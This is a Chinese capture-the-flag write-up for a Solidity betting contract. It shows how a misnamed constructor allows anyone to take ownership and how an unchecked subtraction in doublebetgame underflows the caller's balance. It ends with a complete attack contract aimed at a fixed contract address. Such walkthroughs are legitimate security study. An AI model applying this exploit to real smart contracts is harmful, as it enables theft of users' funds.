WP
源码:
pragma solidity ^0.4.24;
contract bet {
uint secret;
address owner;
mapping(address => uint) public balanceOf;
mapping(address => uint) public gift;
mapping(address => uint) public isbet;
event SendFlag(string b64email);
function Bet() public{
owner = msg.sender;
}
function payforflag(string b64email) public {
require(balanceOf[msg.sender] >= 100000);
balanceOf[msg.sender]=0;
owner.transfer(address(this).balance);
emit SendFlag(b64email);
}
//to fuck
modifier only_owner() {
require(msg.sender == owner);
_;
}
function setsecret(uint secretrcv) only_owner {
secret=secretrcv;
}
function deposit() payable{
uint geteth=msg.value/1000000000000000000;
balanceOf[msg.sender]+=geteth;
}
function profit() {
require(gift[msg.sender]==0);
gift[msg.sender]=1;
balanceOf[msg.sender]+=1;
}
function betgame(uint secretguess){
require(balanceOf[msg.sender]>0);
balanceOf[msg.sender]-=1;
if (secretguess==secret)
{
balanceOf[msg.sender]+=2;
isbet[msg.sender]=1;
}
}
function doublebetgame(uint secretguess) only_owner{
require(balanceOf[msg.sender]-2>0);
require(isbet[msg.sender]==1);
balanceOf[msg.sender]-=2;
if (secretguess==secret)
{
balanceOf[msg.sender]+=2;
}
}
}
和hf那题差不多,还是大致审一下,首先是Bet函数,可以设owner为我们自己。
function Bet() public{
owner = msg.sender;
}
因此最后的被only_owner修饰的doublebetgame就可以用了。
而且doublebetgame存在问题:require(balanceOf[msg.sender]-2>0);
只要msg.sender不是2就恒成立。因此后面的balanceOf[msg.sender]-=2;
存在下溢出。但是利用的前提是require(isbet[msg.sender]==1);
。isbet
的设置是在betgame
函数中,需要余额大于0而且输入的secretguess和真的secret相等。前面的profit函数可以获得1块钱,而setsecret函数则可以设置secret,因此至此也就理清楚了。
写个EXP:
pragma solidity ^0.4.24;
interface bet{
function Bet() external;
function payforflag() external;
function setsecret(uint secretrcv)external;
function deposit() payable external;
function profit() external;
function betgame(uint secretguess) external;
function doublebetgame(uint secretguess) external;
}
contract attack{
bet constant private target = bet(0x9280780d85577027AB8754e329D6E5Bf267007E6);
function startAttack() public {
target.Bet();
target.setsecret(123);
target.profit();
target.betgame(123);
target.betgame(1);
target.doublebetgame(1);
// payforflag
}
}
因此是本地复现,最后就没有执行payforflag了。